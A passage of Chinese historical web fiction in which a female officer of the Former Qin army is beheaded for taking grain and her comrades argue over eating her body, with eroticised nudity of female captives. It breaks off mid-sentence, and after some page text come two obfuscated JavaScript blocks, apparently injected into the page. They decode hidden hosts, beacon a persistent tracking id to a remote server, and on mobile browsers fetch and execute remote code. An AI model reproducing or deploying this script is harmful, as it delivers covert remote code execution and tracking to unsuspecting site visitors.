前秦军人数虽少,但个个都奋勇当先,很快就占了上风,后秦军渐渐地抵挡不住而纷纷后退,不得已杨任只好下令全军退入城中。

之后杨任下令坚守不出,前秦军要攻城时,城头上便箭如蝗下,登时死伤无数。

无奈只得后退数十里,待机出战。

孟凤在城头上看见远远的苻军阵地,不解地问杨任:

“夫君何故坚守不出,我方日前虽然战败,但人数上仍占优势。彼方毕竟是长途至此,更兼多番攻城失利,气势早已消尽,此番若再次出战,必能大败苻军。”

“所谓不战而屈人之兵为最上策。苻登小儿仅仅带着陇中那三万多人便能横行至此,并非等闲之徒,前日贤妻阵斩的两员敌将皆是急于立功的无名之辈,千万不能掉以轻心。我正是观他们长途至此,粮草必然不多,只要我们坚守城池,他们若不能破,数日之后必然退兵,到时再寻机会击之,岂不万无一失。”

“倘若苻军于附近村落抢粮又当如何?”

“哈哈,若如此彼更是自寻死路。近年粮食欠收,附近米粮皆短缺,任其抢掠也不过能多顶数天。更况苻登小儿自称正义之师,四处张榜安民,倘若他们抢粮必定失尽民心,到时更是寸步难行。”

“夫君高见!”

确实不出杨任所料,前秦军的粮草已经不多,且粮食运输困难,若几天后还攻不下安定城,大军就只能撤退,但若此时退兵,则可能会被后秦军追击,再者一旦附近县城复被后秦军占领则前功尽弃。

而后秦军拒不出战,又把城守得如铁桶一般,苻登为想攻城之法急得如热锅上的蚂蚁。

随着日子一天一天的过去,军中粮草已经越来越少,军队因每天分得的米粮过少而常与军需官兵发生冲突,看着逐渐生变的军心,众将仍然一筹莫展。

却说女营这边,也面临着一样的情况,而且分配给女营的粮草数量本来就不多,不少女兵一天才分得一顿的粗粮,看着姐妹们个个面黄肌瘦,负责军需配给的女将彭燕心中自是焦急万分。有一天,她与手下两个小队长说:“如今安定久攻不下,皇上又不肯退兵,再这样下去,姐妹们就得要饿死。依我看,我们可向附近的小县取些许粮食来。”

其中一个小队长听了慌忙制止:“不行,皇上有令,切不可骚扰州县百姓,违者军法处治。再说粮食现在虽缺,但仍能支持数天,我想皇上若不能攻下城池也会下令退兵吧。”

彭燕听罢气唿唿地说:“娘娘早就劝过陛下了,只是不听。你也看见了,那男兵们一天两顿分得少点就大吵大闹,我们这边一天只有一顿,而且还混着米糠,又有谁闹了?真是的,上次对阵人家一个娘们就把男营两员大将给做了,若不是咱虎妞姐打败了她,怎会打胜仗?凭什么他们还比我们要吃得多。等到要退兵时,姐妹们就算不饿死也没气力撤了,到时岂不是当追兵们的靶子。”

小队长见她执意要去,连忙劝阻:“姐姐三思,大家素知娘娘军法无情,若姐姐违了军法,要被杀头的啊。”

彭燕说:“与其姐妹们在这里饿死,我宁愿牺牲自己!我实在不忍心再看到姐妹们挨饿,万一娘娘问罪起来,我一人担起!”

小队长拗她不过,只得同意。

于是彭燕等几十个女兵趁着外出巡逻之机,来到离营地较近的小县向百姓索要粮食。

在那个兵荒马乱的年代,一来大量的耕地荒废,二来大量的粮食通常都会被各路的地方势力强行征集,因此粮食对于百姓来说珍贵如黄金。

他们看见彭燕等人来索粮,心中自然是一百个不爽快,但看到对方全副武装,再加上村中大多只剩下些老弱病残,无法反抗,只得忍气吞声的依了。

傍晚,毛皇后正在帅营中发愁,突然觉得帐外好象热闹起来了,她不由一阵担心,以为姐妹们也因伙食问题起哄了,于是令一旁的张秀兰到外面察看。少顷,秀兰回营禀报:

“娘娘,并非因缺粮,是彭燕去了附近的小县,向当地村民借了几十石大米回来。正准备下锅做饭。”

“什么?她疯了?谁让她这样做的?!秀兰,马上下令停止做饭,并给我传彭燕进来!”

秀兰不由得出了一身冷汗,她心料大事不妙,但只得应允。当彭燕入帐时,毛皇后便大声喝问:

“彭燕!方才听说你到附近小县去取粮,可有此事?”

“回娘娘,确有此事。”

“你!你难道不知军中有令不得扰民?违令者处斩?”

“知道,我已有心理准备了。任凭娘娘处置!只是在这之前,请娘娘听妹妹一言。我们大军至此已有月余,军中粮草早已贫乏,既然攻城不下,陛下又不肯退兵。再者,娘娘也见,几次战斗皆我们女营立功最多,但粮食却分得最少,如今个个面黄肌瘦,你叫姐妹们心中如何服气?我愿用一条贱命来换姐妹们的饱腹。”

毛皇后流泪答道:“妹妹啊!军法事小,你可知道这样做会毁了陛下的一片苦心,如今大秦正处于生死存亡之际,陛下为复兴先帝(苻坚)基业,一边南征北战,一边张榜安民,一路秋毫无犯,为的就是要争取民心,若失民心则失天下也。我军现时只有区区三万人,能扩张至此,除了众将领和众位姐妹竭尽心力外,皆因得民心之故。现今关中战火连年,百姓粮食欠收,你去抢粮,那么你叫小县百姓如何度过这个冬天?倘若此事一传开,陛下日后如何取信于天下?大秦基业又何时能复?”

毛皇后一席话,说得彭燕心中后悔不已,只是羞愧落泪,无言以对。

毛皇后心中也是矛盾万分,经过一阵痛苦的思考后,下令将抢来的粮食原封不动的奉还,同时下令将彭燕推出帐外斩首。

彭燕听罢便下跪哀求道:“娘娘!我这条贱命死不足惜,只是姐妹们此番难得能够填胞肚子,若把粮食返还,岂不伤了姐妹们的心?”

毛皇后哭道:“你跟我多年,应知道我执法无情!你实在不应该去做这样的傻事!”

这时虎妞也出来劝阻:“娘娘,小燕确实是违了军法,但我们把粮食返还也不至于影响我军名声吧?念在小燕一片赤诚之心,让她戴罪立功吧。”

在场的女将都纷纷离座,恳请毛皇后三思。

毛皇后的心如被千刀万剐一般难受,泪水已像断线珠子一样落下,悲痛地说:“我既为女营统帅,也是大秦的皇后,倘若我带头徇私,日后陛下将如何服人?再者纪律若不严明,军心必乱,大家长年来的努力将前功尽弃。”

随后毛皇后抽出火签向前一丢,喝道:“押出去,斩!”

火签一出,大家知道已经无能为力了,只得流着泪回到原位。

彭燕想到粮食竟要完璧归赵,觉得自己这回是白死了,苦笑了一声后,对着准备为她上绑的女兵喊道:“慢!”然后很迅速地把身上的盔甲与衣服脱了个精光,露出了她那纤瘦的胴体。

彭燕哭着说:“我虽瘦弱,但也有几两肉。既然不能取来粮食为姐妹们充饥,我愿献出这个肉身。虎妞姐,等会斩我头后,可将此身送往厨子处,就算不能每个姐妹都吃得上,至少也得让她们喝上一口肉汤吧。”

在场姐妹看罢皆痛哭流涕。

彭燕等两个女兵把她反绑好后,笑着说了声:“娘娘,各位姐姐,彭燕去了。”然后才点头示意让那两个女兵把她押出帅营。

这时营中的女兵们刚刚兴奋了还不到几分钟,就只能眼瞪瞪地看着粮食再度运走,顿时全像泄了气的皮球一样软瘫在地上。

当看到赤裸着身子的彭燕从帅营里被押出时,更是双目呆滞地看着她,半晌也说不出一句话,不知是愤怒,是悲伤,还是失望。

彭燕今年刚好二十,在众位女将当中年龄最小,她的身材苗条而纤瘦,透过黄黄的皮肤隐约能看到胸骨与髋骨的纹路,也许是饿了好多天的缘故,腰两边的排骨纹路比过去要清晰得多,两个小巧而精致的乳房轻轻的挺在胸前,再加上本身清秀可人的面貌,完完全全就是一个惹人怜爱的小姑娘,只有当她穿上盔甲才会透出些许的英气。

日薄西山下的天空,如同泼墨画一般美丽,太阳的余光使天空夹杂着一道道漂亮的红霞。

此时虽是傍晚时份,但周围的景色乃清晰可见。

看着两边面容苍白的姐妹们,彭燕心中一酸,哽咽地说道:“姐妹们,让你们饿肚子是我的失职!今日,我……,愿意献出这个身子来为大家充饥,姐妹们……,你们都有好久没吃上肉了吧?等会,我走了以后……,大家不必客气,我会感到很欣慰的。”

两边眼光呆泄的女兵听了都忍不住抽泣起来。

来到了营地中央,押送她的两个女兵把她按跪下去后,都掩着脸慢慢地走开。

这时虎妞抽出大刀,忍住了快要涌出的泪水,小声的问道:“小燕,临别之前,还有什么要求吗?俺要是能做到的,一定会帮你。”

彭燕停了一阵,缓缓地说:“待会返还米粮之时,可把我的首级一并带上,告诉村民那抢他们粮食的人已被处死,这样也许能弥补我所犯下的过错。另外,告诉娘娘,和我同去的姐妹们只是因为听从了我的命令,她们是无辜的,希望娘娘不要责罚她们。”

虎妞看到彭燕临死之时仍在为大秦、为姐妹着想,一阵感动涌上了心头,手上的刀变得越发沉重,沉重的几乎挪不动。

她继续问道:“还有吗?”

彭燕扭过头,笑着对虎妞说:“没有了,多年来一直受虎妞姐姐照顾,实在是感激不尽。最后就拜托姐姐让我痛快地走完最后一程吧。”

虎妞终于忍不住了,两行泪水如缺堤一般涌出,哽咽地答道:“一定!小燕,你就放心上路吧!”

彭燕这时才如释重负一般,伸直了那细细的脖子,颈骨那一块块的关节透着那黄嫩的皮肤是清晰可见,那是一种行刑刽子最喜欢的脖子,寻找下刀的合适位置是轻而易举。

平日那把轻便的大刀,虎妞感觉费了九牛二虎之力才把它举起,深唿吸了一大口,才下定了决心,大喝一声:“小燕,得罪了!”猛然斩下的大刀唿唿作响,地上的黄沙也伴着飞扬了起来,眼前的一切好似坠入云雾一般,当听得物体跌落地面的清脆响声时,大家都不约而同地扭过了头,尽管比斩首血腥一百倍的场面她们都见过了,但她们仍不愿意看到彭燕人头落地时那悲惨的场面。

一股刺鼻的血腥味随着傍晚的凉风补鼻而来,大家都忍不住哭出声了。

当大家睁开眼睛看时,彭燕那没了头的娇躯已经直挺挺地趴倒在地上了,满地的鲜血和着地上的黄沙结成一大滩的红泥。

而虎妞则耷拉着脑袋一步步地走向帅营复命,右手无力地提着那把闪着血光的大刀,左手则握着彭燕首级上的头发,鲜血还在首级的脖子里一点点地滴出来。

“将军!”彭燕手下的两个小队长跑了上去,枕在她的尸身上纵情痛哭。

太阳终于消失在地平线上了,一个年轻的生命也随之而消逝。

第四节:智取安定

晚上,毛皇后一个人呆坐在帅营中,双眼无神的望着帐顶,傍晚发生的事情一次又一次地闪过她的脑海。

她采纳了彭燕的建议,让张秀兰返还粮食的同时,带着彭燕的首级一起去,顺便昭示大秦的军纪严明。

就在粮食被运走的时候,有几个女兵还真的抽出小刀径直走到彭燕的尸体前打算割肉,结果被那两个小队长死死护着。

“你们要干什么?”

“明知故问,快让开!”

“你们疯了,是自家姐妹,你们这样做还算是人吗?”

“我们当然知道,那你们又知不知道我们打了多少天的仗?饿了多少天吗?再说,那也是彭燕姐的心愿,你们没听到她说吗?”

“她说了你们就要吃她的肉了?彭燕姐就是为了让你们能吃饱才甘愿牺牲自己去借粮的,你们这样做良心都让狗给吃了?!”

“可那粮食在哪里?还不都还回去了。发生了这样的事大家都不希望,既然你们不让我们吃她的肉,那你们把储备的粮食都拿出来啊!”

“不!没有娘娘的命令,谁都不能动!”

“那就给我们滚开!若是等彭燕姐的尸体发臭了,那她就真的白死了。”

“我们女营有三千多人,彭燕姐就算膘肥肉厚又如何够分?”

“反正有人不愿吃,愿吃的人来分好了。”

“畜生!”

外头激烈的吵闹声使得毛皇后与众女将纷纷走出帐外,众人一见毛皇后都停止了喧哗,这时那个小队长哭着跪倒在毛皇后面前说:“娘娘,请您可怜可怜彭燕姐吧。这件事我们也有责任,倘若真的要吃,就请娘娘赐死我们两个,让她们吃我们的肉吧!”

毛皇后痛苦地闭上了双眼,一时如鲠在喉。

虎妞的脸则气得铁青,握着刀大喊着:“谁想吃别人的肉,就自己先来!”

没想到当中有个女兵还真的站了出来,说:“娘娘,并非我们做姐妹的绝情,你看看姐妹们现在的样子,再这样下去我们真的会饿死了。与其就这样饿死,还是死在刀下来得舒服。如果你们认为我是自私小人,那好,虎妞姐,你现在就杀了我,我愿意给大家当粮食。”

正当虎妞不知如何是好时,毛皇后这时却慢慢地脱下了自己的盔甲和衣服,赤身裸体地跪在了大家的面前,说:“我带着各位姐妹南征北战已有数年,今天发生了这样的事,则说明我治军无方,应负起全部的责任。姐妹们,你们没有错,错的是我。虎妞,把我的头砍下来,让大家吃我的肉吧。”

毛皇后这下突如其来的举动把大家都吓懵了,半天才反应了过来,于是全都跪了下来哭着说:“娘娘,是我们错了!请您不要这样,您要是有个三长两短,我们也不活了。我们答应您,再也不吵闹了,一切听您的命令!”

回想到这里,毛皇后闭上了双眼,尽管她使出苦肉计来平息了军心,但也明白这是治标不治本,倘若形势继续这样下去,军心还是会乱的。一联想到将来会发生的事情,她还真恨不得虎妞当时就这样给她来一刀,一了百了。

正当毛皇后打算前往主营找苻登商量时,慕容嫣突然入帐,伏在地上哭道:“嫣儿请娘娘恕罪!”

毛皇后吃了一惊,以为是因刚才所发生的事情。连忙说:“嫣儿何故如此,方才只是我个人的念头,与各位姐妹无关。”

慕容嫣答道:“非为此事,嫣儿有事一直瞒着各位姐妹!”说罢便从怀里掏出一叠书信,递了上去。毛皇后在阅读这些书信时,慕容嫣继续说:“其实当日上郡破城之时,出逃的兄长遣人送信与嫣儿,希望我能假意降于娘娘,日后好做内应。我不愿忍辱偷生,便一心求死。但娘娘的气量打动了我,此时我已决心归顺娘娘。然而身在长安的兄长以为嫣儿如他所言做了内应,近日常派一探子与我秘密联系,好寻机会让杨任出城反击。娘娘对我有恩,我若背叛则天地不容。可是嫣儿自幼与兄长相依为命,倘我背叛兄长,则兄长定为姚苌所害。这几天我只顾塘塞那探子说时机未到,心中自是矛盾万分,不知如何是好。今日看到彭燕妹妹那一幕,实在令我心如刀绞,不忍心看到姐妹们自相残杀。如今嫣儿只好背叛兄长以救姐妹们于水火。”

毛皇后心中一阵感动,连忙扶起慕容嫣说:“我素知嫣儿是重义之人,如今看来果然不假。可此番要你背弃兄妹之情,真的是难为你了。”

慕容嫣哭着说:“要是我早点告知娘娘,今日又何以发生如此惨事,彭燕妹也不至于身首异处啊。请娘娘恕罪!”

毛皇后安慰她说:“嫣儿何罪之有,事已至此,悔已无益。如今我已有一计,倘能破城,嫣儿便是大功一件。”说完便前往主营去找苻登商议去了。

当晚子时,慕容嫣独自一人来到营外附近的小树林处,半晌,一个黑衣人从旁边闪出。

“你来啦?”

“慕容将军今晚前来,是否时机已到?”

“正是,看到女营椽门上挂着的人头吗?”

“看到,好象是到外面取粮而被处斩的女将吧,之后好象还有一阵骚乱,不过离兵营太远,看不清楚,想必军心已乱。”

“说得不错,如今军中早已无粮,那苻登妻毛氏专横独断,一意孤行,如今女营中的将士们早已对其恨之入骨。”

“慕容将军之意是……?”

“明日子时,我假意有事禀告,乘机杀了毛氏。我在女营数年,颇得军心,只要我取得毛氏首级,女营众将必听我指挥。到时举女营之兵造反,火烧苻军大营。苻军主营也早因粮草不继而军心生乱,若营中突然起火,再加女营反叛,必然无心作战。到时杨大人只需见到苻军营中起火便出城来攻,则大事可成。”

“如此便好,小人立刻返回城中告知杨大人。”

探子返回安定城后,便将慕容嫣的计策告知杨任。

杨任拍腿大声叫好。

孟凤还稍有疑虑,问道:“这慕容嫣的话是否可靠?”

杨任笑道:“夫人放心,那慕容嫣是慕容光大人安排的内应,一直以来都与我方通风报信;再者敌军粮食不继,军心大乱也早是意料中之事,必定无诈。传令下去,命三军明日二更做饭,做好应战准备,只等苻军营中起火,全军杀出,一举破敌!”

次日半夜,厉兵抹马的后秦军已经整装待发,就等杨任的一声令下了。

一直在城门上的杨任果然看到前秦军的营寨起火,不久便喊杀声四起,大火迅速扩展至前秦军的全营。

“是时候了,出击!”听到命令后的孟凤便率领后秦军杀出城门,直奔敌寨,谁知冲入去后竟发现里面空无一人。

孟凤自觉背嵴一片冰凉,知道中计了。

正要撤退时,前秦军突然从四面杀出,打了后秦军一个措手不及,很快就溃不成军,抱头鼠窜。

只有孟凤和少数军队杀出重围,撤向安定城。

“快开城门,夫君!快开城门!”孟凤一边对着城上高喊,一边焦急地回头,看看前秦军是否快要赶到。

就在这个时候,城头上的红色秦字大旗一换,全部变成了黑色秦字旗。

只见慕容嫣已经站在了城头,大笑说道:“孟凤将军,此城已为我等所有,你等已经无路可走了,还不速速下马投降?”

原来就在孟凤出城进攻前秦大营时,慕容嫣已率女兵前往安定城,自称已取下了毛氏首级并带女营将士过来相投,杨任只道慕容嫣仍己方内应,全然不知有诈,便让其进入,结果女营将士一入城便大开杀戒,杨任本人也死于乱军之中。

面对这突如其来的变故,孟凤的头彷佛被自己的重锤狠狠地敲了一下,没想到短短几刻钟后形势就完全逆转过来了。

她冲着城上大喊:

“可恶的慕容嫣,你竟敢背叛我们?”

“谁跟你们说我是你们这边的?是杨大人自作聪明罢了。”

“混帐,没想到你们慕容兄妹早就串通好了!”

“别误会,此事与兄长无关。只是在下将计就计而已。”慕容嫣还不忘为慕容光辩护。

“那我夫君何在?”

“在这里!”

慕容嫣把一个首级高高的举起,大声说:“安定太守杨任首级在此!守将皆已尽数剿灭,汝等已是前无去路,后有追兵,若能早降,则宽大处理;若仍违抗天兵,则与杨任下场相同!”

孟凤与手下籍在城头上的火把清楚地看到,那个确实是杨任的首级。

孟凤自觉心中一绞,嘴中一甜,一股鲜血自口中喷出,差点坠马倒地。

而逃到城下的后秦军本来就已经被打得心惊胆战,再看到安定被占,太守被杀,当场斗志全无,在听到后面前秦军喊杀声越来越近时,全都作鸟兽散了。

“你们这些可耻的家伙,要逃走吗?混蛋!”孟凤一边骂,一边用锤攻击那些逃走的后秦军。

谁知这下子虽惹怒了他们,当中有些胆大的便向孟凤袭击。

这时慕容嫣乘机向下大喊:“若能生擒孟凤者,不但既往不咎,而且赏金百两!”

那几个后秦军一听更是来了劲,孟凤招架不住,被一个从后面跳上来的后秦士兵扑下了马,其余士兵便从四面围上,死死地按住孟凤,使其动弹不得,并像剥皮似的不停地脱掉她的甲胄与身上的衣物。

“叛贼!叛贼!”孟凤除了张口痛骂已无可奈何,之后只能任由众人将她铣剥个干净,然后把她的双手扭到背部,结结实实的捆绑起来,活像一头待宰的母猪。

这时后面的前秦大军已经追赶至城门下,那些反叛的后秦军纷纷交出武器以示投降,并把五花大绑的孟凤当作投诚的证明。

看到自己光熘熘的站在一大群男人面前,孟凤又羞又气,一边大骂叛徒,一边痛骂苻登。

看到己方大军已至,慕容嫣则下令大开城门,苻登与毛皇后便领着大军高奏凯歌入城。

看着一丝不挂的孟凤恶狠狠地盯着自己痛骂,苻登又好气又她笑,对着毛皇后说:“朕免得被别人说闲话,这女人就交给贤妻了,若能降她,也不失为一员猛将;若不能降,明日将她于城中斩首,也好在百姓面前显我军之威。”

大军入城安置好后,女兵们便把孟凤押入临时搭建的女营当中。

那孟凤看见周围已无男人,总算是少了些屈辱感,也摆出了坚贞不屈的气慨,昂首阔步地进入女营当中,胸前的一双大奶左右地晃动,样子十分滑稽,众女兵皆掩口而笑。

这下子孟凤倒觉得别扭,大声地喊道:“笑,有什么好笑的?你们脱光了还不一个样?”女兵们笑得更大声了。

四更时份,在安定的校场里,女将们分坐在两边,毛皇后正襟危坐在中间,四周的火把把校场照得如白昼般明亮。

“带上来!”毛皇后一下令,两个女兵便把孟凤押了上来。

“跪下!”两个女兵边喊边用膝盖拼命撞她的腿,孟凤却用力顶着,纹丝不动。

毛皇后微笑了一下,便扬手示意:“算了,由她吧。”

那两个女兵才罢休,走到一旁待命了。

孟凤脸型方正且浓眉大眼,看上去年龄比较大,但实际上却与女将们年龄相仿。

她肤如凝脂,身材粗壮同时略显肥胖、一对硕大的乳房像两个皮水袋一样挂在胸前,完全是一个成熟妇女的形象。

她双手虽牢牢地被绑在身后,但仍然腰竿笔直地站着,表情从容地看着毛皇后。

“孟将军在战场上的勇武,我至今记忆犹新,一度还把我们逼入了绝境。只是上天不亡大秦,今我们反败为胜,将军却为阶下之囚,实在让人感叹世事之无常啊。”

“哼,如果不是那姓慕容的小畜生背叛了我们,今天站在这里的就是你毛敏娘!”

“孟将军此言差矣,嫣儿自上郡一战后,一直是我们女营中的一员,所谓你等的内应,不过是你们自作聪明,而我们也不过是将计就计。”

“我说不过你,既然已落入你手,任凭处置!”

“如此……,不知孟将军是否有意归顺大秦?”

“笑话,我本来就是大秦之将,何来归顺之说!”

“姚苌恩将仇报杀害先帝,还僭越秦之国号,实乃无耻之徒!杨太守当年也是大秦之将,何故助纣为虐?”毛皇后提高了语气说道。

“当今二秦双争和昔日二赵双争有何差别?所谓天子,有能力者皆可当之。我夫君当年在苻氏麾下不过是个无名偏将,苻氏无半点恩泽加于我们;后来却蒙姚苌大人提拨才得以为安定太守,此等大恩自当涌泉以报。如今我夫君也死于你等之手,我若降于你们,日后还有何面目去见夫君?你无需多言,我孟凤今日只求一死!”

话已至此,毛皇后知道已经没可能收孟凤为己用,心中不禁一阵婉惜。

一旁的虎妞几乎气得要冲出去揍她,只是毛皇后一直用眼神制止着。

另一旁的张秀兰看出了毛皇后的心思,小声地对她说:“娘娘,此人武功高 放大文字 缩小文字 这文很赞(0) 一般般啦(0) 收藏此文(0) 分享此文


上一篇:[玄幻]魔睺罗伽-14-15

下一篇:痴臭BITCH☆妍夏泳池记(完)


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};